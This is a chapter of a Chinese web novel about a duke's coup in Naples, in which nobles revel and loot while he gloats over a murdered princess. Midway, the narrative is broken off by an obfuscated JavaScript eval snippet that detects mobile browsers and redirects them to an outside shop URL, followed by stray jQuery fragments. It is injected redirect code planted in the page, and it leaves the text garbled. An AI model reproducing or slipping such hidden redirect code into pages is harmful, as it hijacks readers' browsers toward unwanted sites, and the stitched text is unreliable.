52. 死亡的序曲

作品:《那不勒斯的黎明

    李斯特公爵的“摄政宣言”,如同一道赦令,将宴会厅里所有贵族心中最卑劣的野兽,都从名为“体面”的囚笼中释放了出来。


    如果说宣言之初的狂喜是一场冲破堤坝的洪水,那么此刻,洪水退去后,留下的便是满地狼藉的、散发着腐臭气息的沼泽。胜利的喜悦在酒精与权欲的发酵下,已经迅速地腐烂,变成了一场病态而丑陋的盛宴。


    乐师们演奏的战舞曲愈发狂野,那急促的鼓点不再是胜利的号角,更像是某种原始部落祭祀时,敲打出的、催促献上祭品的癫狂节奏。


    莫寒伯爵早已喝得满脸通红,他像一头真正的巨熊,一把揽过身旁一位因恐惧而瑟瑟发抖的王宫侍女,不顾她的尖叫与挣扎,强行将满满一杯葡萄酒灌进她的嘴里。酒液顺着少女洁白的脖颈流下,浸湿了她精致的领口,而莫寒则为此发出了满足的、野兽般的咆哮,引来周围一阵更加放肆的哄笑。


    他们不再满足于摔碎杯子来宣泄兴奋,而是开始享受起了破坏与凌虐本身所带来的快感。


    另一边,两位刚刚被许诺了新封地的男爵,正为了一块位于两人领地交界处的、水草丰美的牧场归属权,而爆发了激烈的争吵。他们互相推搡着,用最污秽的语言咒骂着对方的祖先,通红的眼睛里充满了对土地最原始的贪婪。就在片刻之前,他们还是并肩作战的“盟友”。


    李斯特公爵站在那三级台阶之上,冷漠地俯瞰着这一切。


    他没有参与这场狂欢。


    他就像一个高高在上的神祇,平静地观察着自己创造出的、这个充满了原始欲望的丑陋世界。他看到莫寒的粗野,看到男爵们的贪婪,看到那些曾经彬彬有礼的贵妇们,此刻正像一群争抢腐肉的秃鹫,毫不掩饰地对彼此的珠宝首饰评头论足,眼神中充满了嫉妒与算计。


    他并不厌恶这一切。


    恰恰相反,他享受这种由他亲手揭开的、名为“人性”的真相。他要的不是一群道貌岸然的伪君子,而是一群被他用欲望的锁链牢牢拴住的、忠诚的恶犬。现在,这些恶犬正对着他摇尾乞怜,展露着最真实的忠诚。


    陆婷侯爵提着裙摆,如同一条优雅而致命的毒蛇,再次游走到他的身边。她的呼吸中带着一丝酒精的甜香和情欲的潮热,那双总是闪烁着精明算计的眼睛,此刻正痴迷地望着他,仿佛在仰望着一尊可以实现她所有愿望的神。


    “我最尊敬的殿下,”她的声音带着一丝慵懒的沙哑,手指有意无意地划过公爵胸前的徽章,“您看,他们多么可爱。像一群终于挣脱了枷锁的野兽,为您献上最原始的敬畏。”


    “野兽,需要一个合格的主人来驯养。”李斯特公爵握住她不安分的手,语气平淡,却带着不容置疑的掌控力,“也需要一位同样合格的女主人,来帮我管理兽群。”


    这是他第一次,对她的野心做出如此明确的回应。


    陆婷的身体因这突如其来的许诺而微微战栗,她几乎要抑制不住自己眼中的狂喜。她知道,她赌赢了。她将自己作为最昂贵的赌注,押在了这个男人身上,现在,她即将收获整个王国作为回报。


    “我将永远是您最锋利的爪牙,我……未来的君王。”她俯下身,想要亲吻公爵的手背,却被公爵轻轻推开。


    “不急。”公爵的目光越过她,投向了那扇紧闭的侧殿大门,“等解决了最后一只藏在阴影里的老鼠,再来领你的奖赏。”


    他指的是骑士团。在他看来,那群愚忠的蠢货,是他完美剧本上唯一的、碍眼的污点。


    在大厅的另一侧,那群女眷们的“分赃大会”也进入了白热化。


    孔肖吟夫人不再满足于口头上的讨论,她已经让自己的侍从,强行从一位属于王室的竖琴师手中,解下了那把镶嵌着绿宝石的古董竖琴,宣称这是为她未来的女儿准备的嫁妆。


    而林思意,这位前男爵的遗孀,则表现得更加“聪明”。她假装因为站立不稳而“意外”撞倒了一位端着珠宝托盘的侍女,在众人手忙脚乱地搀扶她、捡拾散落的珠宝时,一枚硕大的蓝宝石戒指,已经神不知鬼不觉地滑进了她的袖口。她脸上惊慌失措的表情,是她最好的伪装。


    就连男爵段艺璇的夫人,此刻也一改之前的胆怯,正颐指气使地,对着一位年长的王宫总管,要求他交出王室所有库房的钥匙和清单,那副急不可耐的模样,仿佛生怕晚了一步,好处就会被别人抢光。


    整个宴会厅,像一个巨大的、正在上演人性丑恶的舞台剧。


    李斯特公爵冷眼看着这一切,他心中的满足感,已经超越了单纯的权力欲,升华为一种近乎于“造物主”的、病态的愉悦。


    他想。


    他不仅是征服了那不勒斯,他是“重新定义”了那不勒斯。


    他让所有人都脱下了虚伪的面具,将这个世界,还原成了它本该有的、弱肉强食的丛林模样。


    他想起了那个已经被他定义为“愚蠢的牺牲品”的公主。鞠婧祎,那个可悲的女孩,她一定到死都还相信着“仁慈”与“和平”这种可笑的童话吧。她的死亡,是如此的微不足道,却又是如此的必要。她是旧时代最后一件脆弱的祭品,她的鲜血,宣告了一个属于强者的、真实时代的到来。


    他又想起了那个被他定义为“顽固的绊脚石”的骑士团长。张语格,那个只懂得服从命令的莽夫,此刻一定还在那座废弃的城楼上,对着空无一人的黑暗,履行着他那可笑的“职责”。


    公爵甚至能想象出,当张语格最终发现自己被骗,冲回主殿时,看到公主的尸体和自己这位新摄政王时,脸上那副精彩的、混杂着愤怒、困惑与绝望的表情。


    到那时,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179227|196936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他会仁慈地,赐予这位“忠诚”的骑士团长一个体面的死亡。


    因为在他看来,忠诚,这种旧时代的遗物,本身就是一种原罪。


    李斯特公爵缓缓走下台阶,他决定,是时候为这场狂欢,画上一个完美的句号了。他需要一场最终的、更具仪式感的祝酒,来为自己的时代,正式加冕。


    他走上那通往王座的最高一级台阶,这一次,他没有停在台阶下,而是直接走到了那张空悬已久的、象征着无上权力的椅子旁边。


    他伸出手,用一种近乎于爱抚的姿态,轻轻地,抚摸着王座扶手上那冰冷的、雕刻着雄狮的黄金。


    这个动作,像一道无声的命令,瞬间让整个喧闹的大厅,再次安静了下来。


    所有人都停下了手中的动作,带着醉意与狂热,将目光聚焦在了他们的新主宰身上。


    他们知道,最后的祝酒词,要来了。


    李斯特公爵非常满意这种绝对的掌控感。他清了清喉咙,用一种充满了威严与力量的声音,开口说道:


    “今夜,我们埋葬了一个旧的、懦弱的时代。”


    “从明天起,我们将迎来一个属于强者、属于勇者、属于在座各位的、崭新的时代!”


    他的声音,在空旷的大厅里回荡,充满了蛊惑人心的力量。


    “现在,举起你们的酒杯!”


    “为了那不勒斯!”


    他高喊着,正准备说出那最后的、属于他自己的加冕词——“也为了我!”


    然而,就在这一瞬间。


    “吱呀——”


    一声极其轻微,却又无比清晰的、仿佛生锈的门轴在不堪重负地转动时发出的、令人牙酸的声响,突兀地,插进了这片被狂热点燃的寂静之中。


    那声音,来自他身后。


    来自那扇通往侧殿的、本应永远紧闭的、象征着“死亡”与“终结”的、巨大的橡木门。


    所有人的动作都僵住了。


    李斯特公爵那句即将脱口而出的祝酒词,也卡在了喉咙里。


    全场的音乐、笑声、交谈声,在这一刻,仿佛被一只无形的、冰冷的手,猛地掐断。


    时间,仿佛凝固了。


    所有人都带着一种混杂着困惑、荒谬与一丝不祥预感的表情,缓缓地,难以置信地,回头望向那扇正在自己打开的大门。


    门,开得很慢。


    每移动一寸,那令人牙酸的“吱呀”声,就更响亮一分,如同有人在用指甲,狠狠地,刮擦着在场每一个人的心脏。


    从那缓缓洞开的门缝中,先是透出了一线深不见底的、仿佛能吞噬一切光线的、纯粹的黑暗。


    紧接着,一个穿着纯黑礼服的身影,逆着从侧殿内透出的、那唯一一缕昏黄而诡异的烛光,静静地,站立在了门口。